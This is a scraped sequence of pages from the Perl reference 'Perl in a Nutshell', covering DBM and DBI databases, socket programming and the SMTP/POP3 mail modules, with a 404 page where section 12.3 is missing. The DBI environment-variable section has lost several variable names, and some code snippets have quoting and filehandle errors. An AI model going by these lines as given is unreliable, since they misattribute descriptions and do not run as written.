Apache::LogFile | Gives an interface to Apache's piped logs, etc.
Apache::Mime | Gives an interface to mod_mime functionality
Apache::Module | Gives an interface to Apache C module structures
Apache::Options | Imports Apache::Constants "options"
Apache::Scoreboard | Gives an interface to scoreboard API
Apache::Servlet | Gives an interface to the Java Servlet engine
Apache::Sfio | Gives an interface to r->connection->client->sf*
Development and Debug Tools
Apache::Debug | Provides debugging utilities to mod_perl
Apache::DProf | Hooks Devel::DProf into mod_perl
Apache::FakeRequest | Implements Apache methods offline
Apache::Peek | Emulates Devel::Peek for mod_perl
Apache::SawAmpersand | Makes sure no one is using $&, $', or $`
Apache::StatINC | Reloads files that are used or required files when updated
Apache::Status | Gets information about loaded modules
Apache::Symbol | Supports symbols
Apache::test | Defines handy routines for make test scripts
Miscellaneous
Apache::Byterun | Runs Perl bytecode modules
Apache::Mmap | Shares data via Mmap module
Apache::Persistent | Stores data via IPC::, DBI, or disk
Apache::PUT | Handler for the HTTP PUT method
Apache::RegistryLoader | Apache::Registry startup script loader
Apache::Safe | Adaptation of safecgiperl
Apache::Session | Maintains client <-> httpd session/state
Apache::SIG | Signal handlers for mod_perl
Apache::State | Powerful state engine

Previous: 11.6 <Perl> Sections | Perl in a Nutshell | Next: V. Databases
11.6 <Perl> Sections | Book Index | V. Databases


[Chapter 12] Databases and Perl

Perl in a Nutshell

Perl in a NutshellSearch this book
Previous: V. Databases Chapter 12 Next: 12.2 Design of DBI

12. Databases and Perl

Contents:
DBM Databases and DBM Hashes
Design of DBI
DBI Methods
DBI Environment Variables

Since one of Perl's greatest strengths is working with text, a genuine concern is how to store data. Flat files are one possibility, but don't scale very well, to say the least. Instead, you'll need to use a database.

There are two general solutions to using databases with Perl. For simple database purposes, DBM (Database Management) will serve your needs. DBM is a library supported by many (if not all) Unix systems and many non-Unix systems as well. If you use DBM with Perl, you can manipulate databases just like any hash.

For more elaborate databases with SQL interfaces, you can get a complete database product or shareware equivalent (depending on your needs) and use DBI and DBD. DBI is a module that provides a consistent interface for database solutions. A DBD is a database-specific driver that translates DBI calls as needed for that database.

In this chapter, we'll quickly cover DBM and then talk more at length about DBI/DBD.

12.1 DBM Databases and DBM Hashes

DBM is a simple database management facility for Unix systems. It allows programs to store a collection of key-value pairs in binary form, thus providing rudimentary database support for Perl. Practically all Unix systems support DBM, and for those that don't, you can get Berkeley DB from http://www.sleepycat.com/db.

To use DBM databases in Perl, you can associate a hash with a DBM database through a process similar to opening a file. This hash (called a DBM array) is then used to access and modify the DBM database. To associate a DBM database with a DBM array, you can use either the dbmopen function or the tie function with a DBM-style module. (dbmopen is actually just a front-end to tie.) For example, with dbmopen:

dbmopen(%ARRAYNAME, "dbmfilename", $mode);
or (using tie with the DB_File module):
use DB_File;
tie(%ARRAYNAME, "DB_File", "dbmfilename");
The %ARRAYNAME parameter is a Perl hash. (If it already has values, the values are discarded.) This hash becomes connected to the DBM database called dbmfilename. This database may be stored on disk as a single file, or as two files called dbmfilename.dir and dbmfilename.pag, depending on the DBM implementation.

The $mode parameter is a number that controls the permissions of the pair of files if the files need to be created. The number is typically specified in octal. If the files already exist, this parameter has no effect. For example:

dbmopen(%BOOKS, "bookdb", 0666); # open %BOOKS onto bookdb
This invocation associates the hash %BOOKS with the disk files bookdb.dir and bookdb.pag in the current directory. If the files don't already exist, they are created with a mode of 0666, modified by the current umask.

The return value from dbmopen is true if the database could be opened or created, and false otherwise, just like the open function. If you don't want the files created, use a $mode value of undef.

Once the database is opened, anything you do to the DBM hash is immediately written to the database. See Chapter 4, The Perl Language, for more information on hashes.

dbmopen(%BOOKS, "bookdb", 0666) || die "Can't open database bookdb!";
$BOOKS{"1-56592-286-7"} = "Perl in a Nutshell";
The DBM array stays open throughout the program. When the program termi- nates, the association is terminated. You can also break the association in a manner similar to closing a filehandle, by using the dbmclose function (or untie if you used tie). See Chapter 5, Function Reference, for more information on dbmclose, dbmopen, and tie.

Previous: V. Databases | Perl in a Nutshell | Next: 12.2 Design of DBI
V. Databases | Book Index | 12.2 Design of DBI


[Chapter 12] 12.2 Design of DBI

Perl in a Nutshell

Perl in a NutshellSearch this book

12.2 Design of DBI

If DBM is too primitive for your database requirements, you'll have to use a more sophisticated database package. Options include the commercial products Oracle, Sybase, and Informix, and the publically-available msql and mysql.

Prior to Perl Version 5 and DBI, the problem was that with all the database packages to choose from, there was no way to universalize database support for Perl. You'd have to rebuild the Perl executable itself against libraries that included subroutines for direct access to the database package. For example, sybperl and oraperl are both packages for building Perl Version 4 with Sybase and Oracle calls embedded, respectively. An application written for sybperl would not be portable to Oracle, or vice-versa. However, since current versions of Perl support binary extension loading at runtime, database support can now be added at runtime, which simplifies adding database interfaces to Perl programs while keeping the size of the Perl binary to a minimum.

Support for binary extensions doesn't mean that database access has been standardized. There are still many database extensions to Perl, each with a different API. However, they all share a strikingly similar set of commands: connect to the database, issue queries, fetch results, and disconnect. This consistency has made it possible to develop a standard set of methods to work with any database. DBI defines a set of functions, variables, and conventions that provide a consistent database programming interface for Perl.

Although DBI itself is language-independent, most DBI drivers require applications to use a dialect of SQL (structured query language) to interact with the database engine. SQL is a standard that was developed to allow programmers to manipulate relational databases. There are many implementations of SQL, and each database server adds nuances that deviate from the standard.

12.2.1 Database Drivers (DBDs)

The success of DBI is that it is only half of the story. The other half is a DBD, or a database driver. DBI provides the interface and framework for the drivers, but it's the database drivers that do the real work. Drivers implement the DBI methods for the private interface functions of the corresponding database engine.

Unless you're developing a sophisticated database application, you probably don't care about the drivers except that you want to install the correct one. Table 12.1 lists database servers, where you can find them, and the DBD driver designed for it. (The freeware or shareware database servers are available for download, and some of the commercial servers offer evaluation copies for download.)

Table 12.1: Database Servers
Server | URL | DBD
DB2 | http://www.software.ibm.com/data/db2/ | DBD::DB2
Empress | http://www.empress.com/ | DBD::Empress
Fulcrum | http://www.fulcrum.com | DBD::Fulcrum
Informix | http://www.informix.com/ | DBD::Informix
Ingres | http://www.cai.com/products/ingres.htm |
 | http://epoch.cs.berkeley.edu:8000/postgres/index.html | DBD::Ingres
miniSQL | http://www.hughes.com.au/ | DBD::mSQL
MySQL | http://www.tcx.se/ | DBD::mysql
Oracle | http://www.oracle.com/ | DBD::Oracle
PostgreSQL | http://www.postgresql.com/ | DBD::Pg
QuickBase | http://www.openbase.com/ | DBD::QBase
Solid | http://www.solidtech.com/ | DBD::Solid
Sybase | http://www.sybase.com/ | DBD::Sybase

12.2.2 Creating a Database

Before you can open a connection to a database with DBI, you must create the database. DBI isn't able to do this step for you, although your DBD might allow you to. For example, DBD:mSQL provides a msqladmin function. Your DBD might also support the func method, which is used to call private (and often non-portable) methods in the driver. You could use a one-liner like this to create the database from the command line:

perl -MDBI -e '$db_name = q[database_name_here]; \
     $result = DBD::mysql::dr->func($db_name, '_CreateDB');'
If your DBD allows to you to create databases via the API, it's likely that it will allow you to drop them, too.
perl -MDBI -e '$db_name = q[database_name_here]; \
    $result = DBD::mysql::dr->func($db_name, '_DropDB');'

12.2.3 Database Handles and Statement Handles

DBI methods work on two different types of handles: database handles and statement handles. A database handle is like a filehandle: connect is a DBI class method that opens a connection to a database and returns a database handle object.

$db_handle = DBI->connect(dbi:mSQL:bookdb, undef, undef)
    || die("Connect error: $DBI::errstr");
Statement handles are another thing entirely. DBI makes a distinction between the preparation of SQL statements and their execution, by allowing you to pre-format a statement into a statement handle. You can prepare a statement with the prepare method, which returns a statement handle. You can then assign a SQL statement to the statement handle via various statement handle methods, and execute it with the execute method when you're done. (You can also prepare and execute in the same command with the do method.)

Changes to the database are written to the database automatically if the AutoCommit attribute is turned on. If AutoCommit is off, then use the commit method when you're ready to write the changes to the database.

AutoCommit is only one of many attributes that can be set for both database and statement handles. For example, if $st_handle is a statement handle, then you can set $st_handle->{NULLABLE} to determine if the fields can contain null characters. Table 12.2 is a listing of all the attributes supported by database handles, statement handles, or both.

Table 12.2: Attributes for Database and Statement Handles
Attributes for database handles
AutoCommit | Commit any changes to the database immediately, instead of waiting for an explicit call to commit. Default is true.
Attributes for statement handles
CursorName | The name of the cursor associated with the statement handle.
NAME | A reference to an array of field names.
NULLABLE | A reference to an array describing whether each field can contain a null character.
NUM_OF_FIELDS | Number of fields the prepared statement will return.
NUM_OF_PARAMS | Number of placeholders in the prepared statement.
Attributes common to all handles
Warn | Enables warnings.
CompatMode | Enables compatible behavior for a specific driver.
InactiveDestroy | Destroying a handle does not close prepared statements or disconnect from the database.
PrintError | Errors generate warnings.
RaiseError | Errors raise exceptions.
ChopBlanks | Truncate trailing space characters in fixed-width character fields.
LongReadLen | Controls the maximum length of long data.
LongTruncOk | Controls whether fetching long data that has been truncated should fail.

12.2.4 Placeholders database and statement handles

Many database drivers allow you to use question marks as placeholders in SQL statements, and then bind values to the placeholders before executing them. This enables you to prepare a single statement with placeholders and then reuse it for each row of the database. For example, the prepare statement might read:

$st_handle = $db_handle->prepare(q{
    insert into books (isbn, title) values (?, ?)
})  || die db_handle->errstr;
And a subsequent execute statement might read:
$st_handle->execute("1-56592-286-7", "Perl in a Nutshell")
    || die $db_handle->errstr;

Previous: 12.1 DBM Databases and DBM Hashes | Perl in a Nutshell | Next: 12.3 DBI Methods
12.1 DBM Databases and DBM Hashes | Book Index | 12.3 DBI Methods


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/ch12_03.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


[Chapter 12] 12.4 DBI Environment Variables

Perl in a Nutshell

Perl in a NutshellSearch this book

12.4 DBI Environment Variables

The following environment variables are defined for use with DBI:

DBI_DSN

The data source value to use if none is specified with the connect method.

DBI_DRIVER

The driver to use if none is specified with the connect method. The username to use if none is specified with the connect method. The password to use if none is specified with the connect method. (For security purposes, this environment variable should not be set except for testing.) Enables tracing behavior as with the trace method. DBI_TRACE can be set to any of the following values:

0

Disables the trace.

1

Traces the execution of the DBI.

2

Outputs detailed call trace information including parameters and return values. Appends trace information to the specified file; the trace level is set to 2.

filename

Appends trace information to the specified file; the trace level is set to 2.

Previous: 12.3 DBI Methods | Perl in a Nutshell | Next: VI. Network Programming
12.3 DBI Methods | Book Index | VI. Network Programming


[Chapter 13] Sockets

Perl in a Nutshell

Perl in a NutshellSearch this book
Previous: VI. Network Programming Chapter 13 Next: 13.2 The IO::Socket Module

13. Sockets

Contents:
Built-in Socket Functions
The IO::Socket Module

Why build networking functionality into your Perl scripts? You might want to access your email remotely, or write a simple script that updates files on a FTP site. You might want to check up on your employees with a program that searches for Usenet postings that came from your site. You might want to check a web site for any recent changes, or even write your own home-grown web server. The network is the computer these days, and Perl makes network applications easy.

Perl programmers have their choice of modules for doing common tasks with network protocols; Chapter 14, Email Connectivity, through Chapter 17, The LWP Library, cover the modules for writing email, news, FTP, and web applications in Perl. If you can do what you want with the available modules, you're encouraged to jump to those chapters and skip this one. However, there will be times that you'll have to wrestle with sockets directly, and that's where this chapter comes in.

Sockets are the underlying mechanism for networking on the Internet. With sockets, one application (a server) sits on a port waiting for connections. Another application (the client) connects to that port and says hello; then the client and server have a chat. Their actual conversation is done with whatever protocol they choose - for example, a web client and server would use HTTP, an email server would use POP3 and SMTP, etc. But at the most basic level, you might say that all network programming comes down to opening a socket, reading and writing data, and closing the socket again.

You can work with sockets in Perl at various levels. At the lowest level, Perl's built-in functions include socket routines similar to the system calls in C of the same name. To make these routines easier to use, the Socket module in the standard library imports common definitions and constants specific to your system's networking capabilities. Finally, the IO::Socket module provides an object interface to the socket functions through a standard set of methods and options for constructing both client and server communications programs.

Sockets provide a connection between systems or applications. They can be set up to handle streaming data or discrete data packets. Streaming data continually comes and goes over a connection. A transport protocol like TCP (Transmission Control Protocol) is used to process streaming data so that all of the data is properly received and ordered. Packet-oriented communication sends data across the network in discrete chunks. The message-oriented protocol UDP (User Datagram Protocol) works on this type of connection. Although streaming sockets using TCP are widely used for applications, UDP sockets also have their uses.

Sockets exist in one of two address domains: the Internet domain and the Unix domain. Sockets that are used for Internet connections require the careful binding and assignment of the proper type of address dictated by the Internet Protocol (IP). These sockets are referred to as Internet-domain sockets.

Sockets in the Unix domain create connections between applications either on the same machine or within a LAN. The addressing scheme is less complicated, often just providing the name of the target process.

In Perl, sockets are attached to a filehandle after they have been created. Communication over the connection is then handled by standard Perl I/O functions.

13.1 Built-in Socket Functions

Perl provides built-in support for sockets. The following functions are defined specifically for socket programming. For full descriptions and syntax, see Chapter 5, Function Reference.

socket

Initializes a socket and assigns a filehandle to it.

bind

For servers, associates a socket with a port and address. For clients, associates a socket with a specific source address.

listen

(Server only.) Waits for incoming connection with a client.

accept

(Server only.) Accepts incoming connection with a client.

connect

(Client only.) Establishes a network connection on a socket.

recv

Reads data from a socket filehandle.

send

Writes data to a filehandle.

shutdown (or close)

Terminates a network connection.

Regular functions that read and write filehandles can also be used for sockets, i.e., write, print, printf, and the diamond input operator, <>.

The socket functions tend to use hard-coded values for some parameters, which severely hurt portability. Perl solves this problem with a module called Socket, included in the standard library. Use this module for any socket applications that you build with the built-in functions (i.e., use Socket). The module loads the socket.h header file, which enables the built-in functions to use the constants and names specific to your system's network programming, as well as additional functions for dealing with address and protocol names.

The next few sections describe Perl socket programming using a combination of the built-in functions together with the Socket module. After that, we describe the use of the IO::Socket module.

13.1.1 Initializing a Socket

Both client and server use the socket call to create a socket and associate it with a filehandle. The socket function takes several arguments: the name of the filehandle, the network domain, an indication of whether the socket is stream-oriented or record-oriented, and the network protocol to be used. For example, HTTP (web) transactions require stream-oriented connections running TCP. The following line creates a socket for this case and associates it with the filehandle SH:

use Socket;
socket(SH, PF_INET, SOCK_STREAM, getprotobyname('tcp')) || die $!;
The PF_INET argument indicates that the socket will connect to addresses in the Internet domain (i.e., IP addresses). Sockets with a Unix domain address use PF_UNIX.

Because this is a streaming connection using TCP, we specify SOCK_STREAM for the second argument. The alternative would be to specify SOCK_DGRAM for a packet-based UDP connection.

The third argument indicates the protocol used for the connection. Each protocol has a number assigned to it by the system; that number is passed to socket as the third argument. In the scalar context, getprotobyname returns the protocol number.

Finally, if the socket call fails, the program will die, printing the error message found in $!.

13.1.2 Client Connections

On the client side, the next step is to make a connection with a server at a particular port and host. To do this, the client uses the connect call. connect requires the socket filehandle as its first argument. The second argument is a data structure containing the port and hostname that together specify the address. The Socket package provides the sockaddr_in function to create this structure for Internet addresses and the sockaddr_un function for Unix domain addresses.

The sockaddr_in function takes a port number for its first argument and a 32-bit IP address for the second argument. The 32-bit address is formed from the inet_aton function found in the Socket package. This function takes either a hostname (e.g., www.oreilly.com) or a dotted-decimal string (e.g., 207.54.2.25), and it returns the corresponding 32-bit structure.

Continuing with the previous example, a call to connect could look like this:

my $dest = sockaddr_in (80, inet_aton('www.oreilly.com'));
connect (SH, $dest) || die $!;
This call attempts to establish a network connection to the specified server and port. If successful, it returns true. Otherwise, it returns false and dies with the error in $!.

Assuming that the connect call has completed successfully and a connection has been established, there are a number of functions we can use to write to and read from the file handle. For example, the send function sends data to a socket:

$data = "Hello";
send (FH, $data);
The print function allows a wider variety of expressions for sending data to a filehandle.
select (FH);
print "$data";
To read incoming data from a socket, use either the recv function or the "diamond" input operator regularly used on filehandles. For example:
recv (FH, $buffer);
$input = <FH>;
After the conversation with the server is finished, use close or shutdown to close the connection and destroy the socket.

13.1.3 Server Connections

After creating a socket with the socket function as above, a server application must go through the following steps to receive network connections:

  1. Bind a port number and machine address to the socket.

  2. Listen for incoming connections from clients on the port.

  3. Accept a client request and assign the connection to a specific filehandle.

We start out by creating a socket for the server:

my $proto = getprotobyname('tcp');
socket(FH, PF_INET, SOCK_STREAM, $proto) || die $!;
The filehandle $FH is the generic filehandle for the socket. This filehandle only receives requests from clients; each specific connection is passed to a different filehandle by accept, where the rest of the communication occurs.

A server-side socket must be bound to a port on the local machine by passing a port and an address data structure to the bind function via sockaddr_in. The Socket module provides identifiers for common local addresses, such as localhost and the broadcast address. Here we use INADDR_ANY, which allows the system to pick the appropriate address for the machine:

my $sin = sockaddr_in (80, INADDR_ANY);
bind (FH, $sin) || die $!;
The listen function tells the operating system that the server is ready to accept incoming network connections on the port. The first argument is the socket filehandle. The second argument gives a queue length, in case multiple clients are connecting to the port at the same time. This number indicates how many clients can wait for an accept at one time.
listen (FH, $length);
The accept function completes a connection after a client requests and assigns a new filehandle specific to that connection. The new filehandle is given as the first argument to accept, and the generic socket filehandle is given as the second:
accept (NEW, FH) || die $!;
Now the server can read and write to the filehandle NEW for its communication with the client.

13.1.4 Socket Module Functions

The following functions are imported from the Socket module for use in socket applications:

  • inet_aton
  • inet_ntoa
  • sockaddr_in
  • sockaddr_un
  • unpack_sockaddr_in
  • unpack_sockaddr_un
The following constants are defined in the Socket module:

INADDR_ANY

The four-byte packed string for the wildcard IP address that specifies any of the host's addresses (if the host has multiple addresses). This is equivalent to inet_aton('0.0.0.0').

INADDR_BROADCAST

The four-byte packed string for the broadcast address. This is equivalent to inet_aton('255.255.255.255').

INADDR_LOOPBACK

The four-byte packed string for the loopback address. This is equivalent to inet_aton('localhost').

INADDR_NONE

The four-byte packed string for the "invalid" IP address (bitmask). Equivalent to inet_aton('255.255.255.255').

Previous: VI. Network Programming | Perl in a Nutshell | Next: 13.2 The IO::Socket Module
VI. Network Programming | Book Index | 13.2 The IO::Socket Module


[Chapter 13] 13.2 The IO::Socket Module

Perl in a Nutshell

Perl in a NutshellSearch this book

13.2 The IO::Socket Module

The IO::Socket module included in the core Perl distribution provides an object-oriented approach to socket programming. This module provides a convenient way to handle the large number of options you have to deal with, and it handles the laborious task of forming addresses. IO::Socket is built upon the Socket module provided in the standard library. It inherits from IO::Handle, which supports a class of filehandle objects for much of the IO library. The following IO::Socket functions are simply frontends for the corresponding built-in functions and use the same syntax:

socket
socketpair
bind
listen
send
recv
peername (same as getpeername)
sockname (same as getsockname)
The accept function in IO::Socket is slightly different from the equivalent function, however, and is described later in the chapter.

IO:Socket contains two subclasses: INET and UNIX. The INET subclass is used to create and manipulate Internet-domain sockets, such as the ones used in the examples. The UNIX subclass creates Unix domain sockets.

13.2.1 Client-Side Sockets

IO::Socket greatly simplifies the implementation of a socket for client communications. The following example creates an Internet-domain socket (using the INET subclass) and attempts to connect to the specified server:

use IO::Socket;
$sock = new IO::Socket::INET (PeerAddr => 'www.ora.com',
                              PeerPort => 80,
                              Proto    => 'tcp');
die "$!" unless $sock;
IO::Socket::INET::new creates an object containing a socket filehandle and connects it to the host and port specified in PeerAddr and PeerPort. The object $sock can then be written to and read from like other socket filehandles.

13.2.2 Server-Side Sockets

On the server side, IO::Socket provides a nice wrapper for creating server sockets. The wrapper encompasses the socket, bind, and listen procedures, while creating a new IO::Socket object. For example, we can create an Internet-domain socket with IO::Socket::INET:

use IO::Socket;
$sock = new IO::Socket::INET (LocalAddr => 'maude.ora.com',
                              LocalPort => 8888,
                              Proto     => 'tcp',
                              Listen    => 5);
die "$!" unless $sock;
The parameters for the new socket object determine whether it is a server or a client socket. Because we're creating a server socket, LocalAddr and LocalPort provide the address and port to bind to the socket. The Listen parameter gives the queue size for the number of client requests that can wait for an accept at any one time.

When the server receives a client request, it calls the accept method on the socket object. This creates a new socket object on which the rest of the communication can take place:

$new_sock = $sock->accept();
When communication is finished on both client and server sockets, they should be destroyed with close. If a socket is not properly closed, the next time you attempt to use a socket with the same name, the system will complain that the socket is already in use.

13.2.3 IO::Socket Methods

The following methods are defined in IO::Socket and can be used on socket objects of either the INET or UNIX class:

  • accept
  • timeout
  • sockopt
  • sockdomain
  • socktype
  • protocol

13.2.4 IO::Socket::INET Reference

An Internet-domain socket is created with the new method from the IO::Socket::INET subclass. The constructor can take the following options:

PeerAddr => hostname[:port]

Specifies the remote host and optional port number for a client connection. hostname can be either a name, like www.oreilly.com, or an IP number of the form 207.44.21.2.

PeerPort => port

Specifies the port number on the remote host for a client connection. The name of the service (such as http or nntp) may be used for the argument if the port number is not known.

LocalAddr => hostname[:port]

Specifies the local address (and optional port number) to bind to a server-side socket.

LocalPort => port

Specifies the local port number (or service name) to bind to a server-side socket.

Proto => name

Specifies the protocol to be run on the socket, i.e., tcp or udp.

Type => SOCK_STREAM | SOCK_DGRAM

Specifies the type of socket. SOCK_STREAM indicates a stream-based socket connection, and SOCK_DGRAM indicates a message-based (datagram) connection.

Listen => n

Sets the listen-queue size to n number of client requests.

Reuse => 1

Given a non-zero number, this option allows the local bind address to be reused should the socket need to be reopened after an error.

Timeout => n

Sets the timeout.

Whether a server (receiving) or client (requesting) socket is created depends on the parameters provided to the constructor. If Listen is defined, a server socket is automatically created. If no protocol is specified, it is derived from the service on the given port number. If no port number is given, tcp is used by default.

13.2.4.1 IO::Socket::INET methods

The following methods can be used on socket filehandle objects created by IO::Socket::INET:

  • sockaddr
  • sockport
  • sockhost
  • peeraddr
  • peerport
  • peerhost

13.2.5 IO::Socket::UNIX Reference

The IO::Socket::UNIX subclass creates a Unix-domain socket. Unix-domain sockets are local to the current host and are used internally to implement pipes, thus providing communication between unrelated processes. Using sockets provides finer control than using named pipes, also called FIFO (first-in, first-out) buffers. This is because receiving sockets can distinguish between different client connections, which can then be assigned to different sessions with the accept call.

The IO::Socket::UNIX constructor (new()) creates the socket and returns an object containing a filehandle. The constructor can take the following options:

Type => SOCK_STREAM | SOCK_DGRAM

Indicates the type of socket: SOCK_STREAM for streaming, SOCK_DGRAM for packets or datagrams.

Local => pathname

Provides the pathname of the FIFO buffer to bind to the socket.

Peer => pathname

Provides the pathname to the destination FIFO buffer.

Listen => n

Creates a listen socket and sets the queue size to n.

The following methods can be used on an object created with IO::Socket::UNIX.

  • hostpath
  • peerpath

Previous: 13.1 Built-in Socket Functions | Perl in a Nutshell | Next: 14. Email Connectivity
13.1 Built-in Socket Functions | Book Index | 14. Email Connectivity


[Chapter 14] Email Connectivity

Perl in a Nutshell

Perl in a NutshellSearch this book
Previous: 13.2 The IO::Socket Module Chapter 14 Next: 14.2 The Mail Modules

14. Email Connectivity

Contents:
The Net Modules
The Mail Modules

Electronic mail is arguably the most essential Internet application. In fact, for many people, it's their introduction to the Internet. Thus the Perl modules that deal with email are among the most useful modules. There are two major groups of modules that provide email capabilities. The first group is Graham Barr's libnet collection, which contains packages for developing client-side applications over the Internet in Perl. Table 14.1 lists some of the protocols implemented by the libnet modules.

Table 14.1: Protocols Implemented by the libnet Modules
Protocol | Module | Description
POP3 | Net::POP3 | Post Office Protocol, for reading email
SMTP | Net::SMTP | Simple Mail Transfer Protocol, for sending email
FTP | Net::FTP | File Transfer Protocol, for transferring files between hosts
NNTP | Net::NNTP | Network News Transfer Protocol, for reading Usenet news

In this chapter, we discuss Net::SMTP and Net::POP3. Chapter 15, Usenet News, talks about Net::NNTP, and Chapter 16, FTP, discusses Net::FTP. Other libnet modules, such as Net::SNPP and Net::Time, are not described here, but you can get information about them from CPAN or with the perldoc command if libnet is installed on your system.

The second group of mail-related modules are the Mail modules, many of which were also written by Graham Barr. They can be found on CPAN as the MailTools collection. The Mail modules also include Mail::Folder and its subclasses, written by Kevin Johnson, and Mail::POP3Client, by Sean Dowd. This chapter describes the following subset of the Mail modules:

Mail::Send

Built on top of Mail::Mailer, providing better control of mail headers.

Mail::Mailer

Interacts with external mail programs to send mail.

Mail::Folder

Provides a base class and subclasses to work with mail folders.

Mail::Internet

Provides functions to manipulate a mail message.

Mail::Address

Extracts and manipulates RFC 822-compliant mail addresses.

Mail::POP3Client

Provides an interface to a POP3 server, based on RFC 1081.

The rest of this chapter describes the modules; first the Net modules and then the Mail modules.

14.1 The Net Modules

Net::SMTP and Net::POP3 are the modules for sending and receiving email via the SMTP and POP3 protocols. When you use these modules, you are working at the socket level; they directly implement the Internet protocols for sending and receiving mail as defined in the relevant RFCs - RFC 821 for SMTP and RFC 1081 for POP3.

14.1.1 Send Email with Net::SMTP

The Simple Mail Transfer Protocol, or SMTP, is responsible for clients negotiating RCPT ("to") and FROM ("from") requests with an SMTP server, sending data to the SMTP server, and then sending an end-of-data indicator. Net::SMTP is a subclass of Net::Cmd and IO::Socket::INET that implements an interface to the SMTP and ESMTP protocols. These protocols send mail by talking to an SMTP server through a socket, as described in RFC 821.

When would you want to use Net::SMTP instead of sending mail with an external program? Since socket communications don't involve spawning an external program, your programs won't suffer from the overhead associated with running an extra process. Talking to SMTP is convenient for sending a volume of mail messages. Naturally, your server must have an SMTP server running or a remote mailhost must allow you to talk to it; otherwise you won't be able to use this module. That's when you can turn to Mail::Mailer or Mail::Send and let them provide an interface to an external mail program for you. This is the case, for example, with home computers, which don't generally run their own SMTP server.

14.1.2 The SMTP Protocol and the SMTP Session

The SMTP protocol defines the set of commands a client sends to an SMTP server, which is generally bound to port 25 of a mailhost. Requests and responses are negotiated between client and server.

When a client negotiates an SMTP session with a server, the server tells the client that it's listening. Once you're connected, you introduce yourself to the server by issuing a HELO command. The HELO command accepts one parameter - your hostname - and defaults to your remote hostname if you don't specify one. If the command is successful, the server sends a 250 response, as follows:

HELO
250 mail.somename.com Hello some-remote-host.com [127.0.0.1], pleased to meet
you
After you've been greeted by the server, send the MAIL command to tell the server who the message is from. The MAIL command takes the string From: user@hostname as an argument, and the server responds with a 250 message to indicate success:
MAIL From: <realuser@realhost.com>
250 realuser@realhost.com ... Sender ok
Then you send the RCPT command to tell the server who the recipient is:
RCPT To: <nospam@rid-spam-now.com>
250 nospam@rid-spam-now.com ... Recipient ok
Now you're ready to send the body of your message to the server. The DATA command tells the server that all data until a . on a line by itself is to be treated as the body of the mail message:
DATA
354 Enter mail, end with "." on a line by itself
Subject: Hi, just thought you'd be interested ...

Hi, this is the text of my mail message that I'm going to
send with Net::SMTP to show you how it works.
.
250 VAA09505 Message accepted for delivery
Once again you get a 250 response, indicating that the message has been accepted for delivery. At that point, you can exit the SMTP session with the QUIT command, which returns 221 on success:
QUIT
221 mail.somename.com closing connection
Connection closed by foreign host.

14.1.2.1 Net::SMTP Methods

The following methods are defined by Net:SMTP:

  • new
  • data
  • dataend
  • datasend
  • domain
  • expand
  • hello
  • help
  • mail
  • quit
  • recipient
  • reset
  • to
  • verify

14.1.3 Retrieving Email with Net::POP3

You can use SMTP to send mail, but not to retrieve it. For retrieving messages, use the Post Office Protocol version 3 (POP3), described in RFC 1081. One way to do this is to use the Net::POP3 module. POP3 provides commands for interacting with the POP server, typically bound to port 110. Net::POP3 automates the transfer of email from a remote server to the local machine.

The POP server retrieves messages from a specified spooling directory on the remote system. The messages are stored in a file named for the username; anonymous logins are not permitted. Authentication is based on username and password and is done by sending the USER and PASS commands to the POP server. For example, identification of user foo with password bar looks like this:

USER foo
PASS bar
Net::POP3 has user and pass methods but may also authenticate users with login, which takes both username and password arguments. If authentication fails, the user cannot retrieve, delete, or alter any messages from the mail server. login returns the number of messages on the POP server for the user, or undef if authentication fails.

Authenticated users can retrieve information about their mailboxes, and they can get specific messages by message number.

A POP session to retrieve a mail message is negotiated with the server like this:

  1. Connect to the POP server (the default port is 110).

  2. Send USER command.

  3. Send PASS command.

  4. If authenticated, receive number of messages.

  5. Send RETR <message number> command to retrieve a specific message.

  6. Send QUIT command to end session.

The following methods are defined by Net:POP3:

  • new
  • apop
  • delete
  • get
  • last
  • list
  • login
  • pass
  • popstat
  • quit
  • reset
  • top
  • uidl
  • user

Previous: 13.2 The IO::Socket Module | Perl in a Nutshell | Next: 14.2 The Mail Modules
13.2 The IO::Socket Module | Book Index | 14.2 The Mail Modules


[Chapter 14] 14.2 The Mail Modules

Perl in a Nutshell

Perl in a NutshellSearch this book

14.2 The Mail Modules

The Mail modules operate at a higher level than the Net modules, interacting with external mail packages such as mail, mailx, sendmail, or a POP3 server in the case of POP3Client. This section describes some of the MailTools modules, Mail::Folder, and Mail::POP3Client.

14.2.1 Send Email with Mail::Mailer

The Mail::Mailer module interacts with external mail programs. When you use Mail::Mailer or create a new Mail::Mailer object, you can specify which mail program you want your program to talk to:

use Mail::Mailer qw(mail);
Another way to specify the mailer is:
use Mail::Mailer;
$type = 'sendmail';
$mailprog = Mail::Mailer->new($type);
where $type is the mail program. Once you've created a new object, use the open function to send the message headers to the mail program as a hash of key/value pairs, where each key represents a header type, and where the value is the value of that header:
# mail headers to use in the message
%headers = (
    'To' => 'you@mail.somename.com',
    'From' => 'me@mail.somename.com',
    'Subject' => 'working?'
);
This code represents headers where the recipient of the mail message is you@mail.somename.com, the mail was sent from me@mail.somename.com, and the subject of the mail message is "working?"

Once %headers has been defined, it is passed to open:

$mailprog->open(\%headers);
You then send the body of the message to the mail program:
print $mailprog "This is the message body.\n";
Now, close the program when the message is finished:
$mailprog->close;
A practical example of using Mail::Mailer might be a command-line-driven application that works much like the Unix mail program, either reading STDIN until EOF or mailing a file specified on the command line.

Mail::Mailer uses the environment variable PERL_MAILERS to augment or modify the built-in mailer selection. PERL_MAILERS is specified in the following format:

"type1:mailbinary1;mailbinary2;...:type2:mailbinaryX;...:..."
The possible types are listed for the new method below.

The following methods are defined in Mail::Mailer:

  • new
  • close
  • open

14.2.2 Better Header Control with Mail::Send

Mail::Send is built on top of Mail::Mailer, which means that you can also choose the mail program that sends the mail. Mail::Send has implemented the methods to, cc, bcc, and subject to replace the %headers hash used in Mail::Mailer.

Mail::Send uses the open method to open the mail program for output; it is built on Mail::Mailer's new method, so that:

# Start mailer and output headers
$fh = $msg->open('sendmail');
serves the same purpose as:
# use sendmail for mailing
$mailer = Mail::Mailer->new('sendmail)';
This code tells Mail::Send to use sendmail as the mail program.

Mail::Send also provides the set and add functions, which assign a value to a header tag and append a value to a header tag, respectively. The set function takes two arguments - a header tag and a value - and is used like this:

$msg->set($scalar, @array);
Therefore, to address a message to you@mail.somename.com:
$msg->set('To', 'you@mail.somename.com');
The above sets the To header to you@mail.somename.com; however, the following sets the To header to postmaster@mail.somename.com and you@mail.somename.com, because they represent an array of values.
